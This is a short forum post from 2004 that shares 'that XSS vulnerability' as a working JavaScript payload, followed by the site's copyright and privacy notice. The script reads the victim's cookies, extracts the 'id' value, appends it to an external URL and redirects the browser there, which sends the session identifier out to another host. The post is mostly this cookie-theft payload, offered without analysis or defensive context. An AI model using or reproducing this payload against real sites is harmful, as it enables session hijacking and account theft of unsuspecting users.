Here's that XSS vulnerability I was talking about. --CS
Question Posted Thursday April 8 2004, 12:02 am
<script language="JavaScript">var lkj = document.cookie; function getCookie(name) { var index = lkj.indexOf(name + "="); if (index == -1) return null; index = lkj.indexOf("=", index) + 1; var endstr = lkj.indexOf(";", index); if (endstr == -1) endstr = lkj.length; return unescape(lkj.substring(index, endstr)); } var a = getCookie('id');var b = '[Link](Mouse over link to see full location) c = b+a; window.location=c;</script>
Attention: NOTHING on this site may be reproduced in any fashion whatsoever without explicit consent (in writing) of the owner of said material, unless otherwise stated on the page where the content originated. Search engines are free to index and cache our content. Users who post their account names or personal information in their questions have no expectation of privacy beyond that point for anything they disclose. Questions are otherwise considered anonymous to the general public.